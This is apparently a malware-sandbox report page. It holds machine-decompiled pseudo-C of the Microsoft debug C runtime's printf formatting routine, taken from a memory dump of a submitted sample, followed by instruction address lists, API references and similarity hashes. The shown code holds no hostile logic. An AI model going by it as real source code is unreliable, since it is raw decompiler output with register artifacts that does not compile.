																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E00434240(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435770( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E00435730(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428370(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf86dff92
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xa86dfc78
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x886dfc7f
																							E004246D0(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428370(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283B0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428370(__ebp + 0x14);
																			if(E00433F20() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434fab
0x00434fab
0x00434fab
0x00434fab
0x00434fab
0x00434fab
0x00434fab
0x00434fab
0x00000000
0x0043501a
0x00000000
0x0043501a
0x00000000
0x0043501a
0x0043501a
0x00435022
0x00435044
0x0043504a
0x0043506f
0x004350b6
0x004350b9
0x004350da
0x004350df
0x004350e4
0x004350ea
0x004350bb
0x004350bf
0x004350c4
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435077
0x00435099
0x0043509e
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x0043507d
0x00435082
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x00435050
0x00435055
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435028
0x0043502d
0x00435030
0x00435036
0x00435036
0x004350f6
0x00435138
0x0043513e
0x0043514a
0x00000000
0x004350f8
0x004350f8
0x004350f8
0x004350ff
0x00000000
0x0043510c
0x0043510c
0x0043511a
0x0043511f
0x00435125
0x00435133
0x00435150
0x00435158
0x0043517a
0x0043517a
0x00435184
0x00435195
0x0043519f
0x004351a1
0x004351a1
0x00435186
0x00435186
0x00435186
0x004351b4
0x004351b6
0x004351b6
0x004351c0
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351d1
0x00000000
0x00000000
0x004351e1
0x004351e4
0x004351ee
0x004351fd
0x00435206
0x0043521c
0x00435222
0x0043522f
0x0043523d
0x0043523d
0x0043524c
0x00435254
0x00435254
0x0043525c
0x00435262
0x0043526b
0x00435277
0x00435290
0x00435296
0x0043529f
0x0043529f
0x00000000
0x004352a2
0x00000000
0x004352a2
0x00000000
0x004352a2
0x00000000
0x004352a2
0x00000000
0x004352a2
0x00000000
0x004352a2
0x00000000
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x0043548d
0x00435491
0x00435499
0x0043549e
0x004354a1
0x004354a1
0x004354a8
0x004354a8
0x0043457f
0x00434585
0x00434592
0x00434597
0x00000000
0x004345aa
0x004345b4
0x004345db
0x004345c2
0x004345d3
0x004345d3
0x004345b4
0x004345e5
0x004345eb
0x004345f7
0x004345fa
0x00434608
0x0043460b
0x00434618
0x004346bd
0x004346c3
0x004346d0
0x00000000
0x00000000
0x004346d6
0x004346dc
0x00000000
0x004346e3
0x004346e3
0x004346fb
0x00434700
0x00434705
0x004347bf
0x004347d2
0x004347d7
0x00000000
0x0043470b
0x0043471e
0x00434723
0x00434729
0x0043472b
0x00434734
0x00434737
0x00434743
0x00434747
0x0043474d
0x0043474f
0x00434754
0x00434756
0x0043475b
0x00434760
0x00434762
0x00434767
0x0043476d
0x0043476f
0x0043476f
0x0043476d
0x00434770
0x00434777
0x00000000
0x00434779
0x0043477e
0x0043479a
0x004347a2
0x004347af
0x004347b4
0x00000000
0x004347b4
0x00434777
0x00000000
0x004347df
0x004347df
0x004347e6
0x004347e9
0x004347ec
0x004347ef
0x004347f2
0x004347f5
0x004347f8
0x004347ff
0x00434806
0x00000000
0x00000000
0x00434812
0x00434812
0x00434819
0x00434825
0x00434828
0x00434835
0x00000000
0x00000000
0x00434837
0x00434837
0x0043483d
0x0043483d
0x00434844
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434887
0x00434887
0x00434891
0x004348bb
0x004348be
0x004348c1
0x004348c8
0x004348c8
0x004348cc
0x00434893
0x00434893
0x0043489f
0x004348a6
0x004348a8
0x004348ab
0x004348ae
0x004348b4
0x004348b6
0x004348b6
0x004348b9
0x00000000
0x00000000
0x004348d4
0x004348d4
0x00000000
0x00000000
0x004348e0
0x004348e0
0x004348ea
0x0043490d
0x00434917
0x00434917
0x0043491b
0x004348ec
0x004348ec
0x004348f8
0x004348ff
0x00434901
0x00434901
0x00434908
0x00000000
0x00000000
0x00434923
0x00434923
0x0043492a
0x00434936
0x00434939
0x00434946
0x00434a59
0x00000000
0x00434a59
0x0043494c
0x0043494c
0x00434952
0x00434952
0x00434959
0x00000000
0x0043498f
0x0043498f
0x00434992
0x00434998
0x004349c0
0x004349c0
0x004349c3
0x004349c9
0x004349ee
0x004349ee
0x004349f1
0x004349f7
0x00434a30
0x00434a41
0x00000000
0x00434a41
0x004349f9
0x004349f9
0x004349fc
0x00434a02
0x00000000
0x00000000
0x00434a04
0x00434a04
0x00434a07
0x00434a0d
0x00000000
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a18
0x00000000
0x00000000
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a23
0x00000000
0x00000000
0x00434a25
0x00434a25
0x00434a28
0x00434a2e
0x00434a32
0x00434a32
0x00000000
0x00434a32
0x00000000
0x00434a2e
0x004349cb
0x004349cb
0x004349ce
0x004349d5
0x00000000
0x00000000
0x004349d7
0x004349da
0x004349dd
0x004349e0
0x004349e3
0x004349e9
0x00000000
0x004349e9
0x0043499a
0x0043499a
0x0043499d
0x004349a4
0x00000000
0x00000000
0x004349a6
0x004349a9
0x004349ac
0x004349af
0x004349b2
0x004349b8
0x00000000
0x00000000
0x00434a43
0x00434a46
0x00434a49
0x00000000
0x00000000
0x00434960
0x00434960
0x00434963
0x00434969
0x00434981
0x00434984
0x00434987
0x0043496b
0x0043496e
0x00434971
0x00434977
0x0043497c
0x0043497c
0x00000000
0x00000000
0x00434a4e
0x00434a51
0x00434a56
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434861
0x00434864
0x00434867
0x00000000
0x00000000
0x0043486c
0x0043486f
0x00434874
0x00000000
0x00000000
0x00434856
0x00434856
0x00434859
0x0043485c
0x00000000
0x00000000
0x0043484b
0x0043484e
0x00434851
0x00000000
0x00000000
0x00434879
0x00434879
0x0043487c
0x0043487f
0x00000000
0x00000000
0x00434882
0x00000000
0x00000000
0x0043461e
0x00434620
0x0043462e
0x00434622
0x00434622
0x00434622
0x00434638
0x0043463e
0x0043464b
0x0043464d
0x00434652
0x00434654
0x00434659
0x0043465e
0x00434660
0x00434665
0x0043466b
0x0043466d
0x0043466d
0x0043466b
0x0043466e
0x00434675
0x00000000
0x00434677
0x0043467c
0x00434698
0x004346a0
0x004346ad
0x004346b2
0x00435571
0x0043557e
0x0043557e
0x00434675
0x00434618
0x004354ad
0x004354b4
0x004354cb
0x004354bf
0x004354bf
0x004354bf
0x004354d5
0x004354db
0x004354e8
0x004354ea
0x004354ef
0x004354f1
0x004354f6
0x004354fb
0x004354fd
0x00435502
0x00435508
0x0043550a
0x0043550a
0x00435508
0x00435512
0x0043555d
0x00435566
0x0043556b
0x00435514
0x00435519
0x00435535
0x0043553d
0x0043554a
0x0043554f
0x0043554f
0x00000000
0x00435512
0x004352ac
0x004352b2
0x004352bc
0x004352d1
0x004352e6
0x004352e8
0x004352ec
0x004352ec
0x004352d3
0x004352d3
0x004352d7
0x004352d7
0x004352be
0x004352be
0x004352c2
0x004352c2
0x004352bc
0x004352fc
0x00435308
0x0043531e
0x00435323
0x00435323
0x00435339
0x0043533e
0x00435347
0x00435365
0x0043536a
0x0043536a
0x00435371
0x00435445
0x00435458
0x0043545d
0x00000000
0x00435381
0x00435381
0x00435381
0x0043538e
0x00435397
0x0043539d
0x0043539d
0x004353ac
0x004353b4
0x00000000
0x00000000
0x004353ba
0x004353c3
0x004353e2
0x004353e7
0x004353ea
0x004353f9
0x00435406
0x00435411
0x00435411
0x00000000
0x0043541d
0x0043541d
0x00435436
0x0043543b
0x00000000
0x0043543b
0x00435406
0x00435443
0x00435460
0x00435467
0x00435485
0x0043548a
0x0043548a
0x00000000
0x00435467
0x00434a5e
0x00434a5e
0x00434a65
0x00434a6b
0x00434a71
0x00434a74
0x00434a7a
0x00434a8d
0x00434a8d
0x00434a94
0x00000000
0x00434dee
0x00434dee
0x00434df5
0x00434dfc
0x00434dff
0x00000000
0x00000000
0x00434a9b
0x00434a9e
0x00434aa4
0x00434aa9
0x00434aae
0x00434aae
0x00000000
0x00000000
0x00434bdb
0x00434bde
0x00434be3
0x00434be8
0x00434bee
0x00434bee
0x00000000
0x00000000
0x00434fbb
0x00434fbb
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b51
0x00434b5e
0x00434b6c
0x00434b6c
0x00434b72
0x00434b75
0x00434b81
0x00434bd6
0x00000000
0x00434bd6
0x00434b60
0x00434b60
0x00434b6a
0x00434b86
0x00434b89
0x00434b8f
0x00434bb7
0x00434bbe
0x00434bc4
0x00434bc7
0x00434bca
0x00434bd0
0x00434bd3
0x00434b91
0x00434b91
0x00434b97
0x00434b9a
0x00434b9d
0x00434ba3
0x00434ba6
0x00434ba9
0x00434bab
0x00434bae
0x00434bae
0x00000000
0x00434b8f
0x00000000
0x00000000
0x00434e05
0x00434e08
0x00434e0b
0x00434e0e
0x00434e14
0x00434e17
0x00434e22
0x00434e2d
0x00434e31
0x00434e48
0x00434e4f
0x00434e51
0x00434e51
0x00434e58
0x00434e5f
0x00434e70
0x00434e7f
0x00434e86
0x00434e9c
0x00434e88
0x00434e88
0x00434e8b
0x00434e91
0x00434e97
0x00434e97
0x00434e86
0x00434ea6
0x00434ea9
0x00434eac
0x00434eaf
0x00434eb2
0x00434eb5
0x00434ebb
0x00434ec1
0x00434ec9
0x00434eca
0x00434ecd
0x00434ece
0x00434ed1
0x00434ed2
0x00434ed9
0x00434eda
0x00434edd
0x00434ede
0x00434ee1
0x00434ee2
0x00434ee8
0x00434ee9
0x00434ef7
0x00434ef9
0x00434eff
0x00434f05
0x00434f0d
0x00434f15
0x00434f16
0x00434f19
0x00434f1a
0x00434f28
0x00434f2a
0x00434f2a
0x00434f2d
0x00434f37
0x00434f3c
0x00434f42
0x00434f44
0x00434f4c
0x00434f4d
0x00434f50
0x00434f51
0x00434f60
0x00434f62
0x00434f62
0x00434f42
0x00434f65
0x00434f68
0x00434f6e
0x00434f73
0x00434f79
0x00434f7f
0x00434f82
0x00434f82
0x00434f85
0x00434f91
0x00000000
0x00434f91
0x00434e33
0x00434e33
0x00434e3d
0x00000000
0x00000000
0x00434e3f
0x00434e3f
0x00000000
0x00434e3f
0x00434e24
0x00434e24
0x00000000
0x00000000
0x00434ab1
0x00434ab4
0x00434aba
0x00434b15
0x00434b1d
0x00434b24
0x00434b2a
0x00434b30
0x00434abc
0x00434abc
0x00434ac6
0x00434aca
0x00434ad2
0x00434ad9
0x00434ae6
0x00434aed
0x00434af9
0x00434b06
0x00434b08
0x00434b08
0x00434b0f
0x00434b37
0x00434b3d
0x00000000
0x00000000
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa2
0x00000000
0x00000000
0x00434cf7
0x00434cf7
0x00434d03
0x00434d10
0x00434dba
0x00434dbd
0x00434dc0
0x00434dd4
0x00434dda
0x00434de0
0x00434dc2
0x00434dc2
0x00434dcf
0x00434dcf
0x00434de2
0x00000000
0x00434de2
0x00434d16
0x00434d16
0x00434d18
0x00434d26
0x00434d1a
0x00434d1a
0x00434d1a
0x00434d30
0x00434d36
0x00434d43
0x00434d45
0x00434d4a
0x00434d4c
0x00434d51
0x00434d56
0x00434d58
0x00434d5d
0x00434d63
0x00434d65
0x00434d65
0x00434d63
0x00434d6d
0x00434db5
0x00000000
0x00434d6f
0x00434d6f
0x00434d74
0x00434d90
0x00434d98
0x00434da2
0x00434da5
0x00434daa
0x00000000
0x00434daa
0x00000000
0x00434ffc
0x00434ffc
0x00435006
0x0043500c
0x00435011
0x00435017
0x00435017
0x00000000
0x00000000
0x00434fb4
0x00434fb4
0x00000000
0x00000000
0x00434bf1
0x00434bf5
0x00434c03
0x00434c06
0x00434bf7
0x00434bf7
0x00434bf7
0x00434c0c
0x00434c12
0x00434c18
0x00434c24
0x00434c2a
0x00434c30
0x00434c97
0x00434c9b
0x00434c9d
0x00434ca3
0x00434ca3
0x00434ca6
0x00434ca9
0x00434caf
0x00434caf
0x00434caf
0x00434cbb
0x00434cbe
0x00434cc6
0x00000000
0x00000000
0x00434cc8
0x00434cc8
0x00434cce
0x00434cd3
0x00000000
0x00000000
0x00434cd5
0x00434cdb
0x00434cde
0x00434cde
0x00434ce6
0x00434cec
0x00434cef
0x00000000
0x00434c32
0x00434c32
0x00434c36
0x00434c38
0x00434c3d
0x00434c3d
0x00434c40
0x00434c47
0x00434c4a
0x00434c50
0x00434c50
0x00434c50
0x00434c5c
0x00434c5f
0x00434c67
0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x00000000
0x00434cf2
0x00000000
0x00000000
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a94
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004352a2
0x004350ff
0x004350f6
0x0043501a
0x0043501a
0x0043501a

APIs

_get_int64_arg.LIBCMTD ref: 00435028
_get_int64_arg.LIBCMTD ref: 00435050
__aullrem.LIBCMT ref: 004351F5
__aulldiv.LIBCMT ref: 00435217

Strings

9, xrefs: 00435228

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 6ef9d782674463bca6dfd27c0f81f30289600ab149c7bbc154f822b6bcefc72b
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 7741D3B1D06A29DFDF24CF58CC99BAEB7B5BB48300F20919AD409A7240D7385E80CF85

Uniqueness

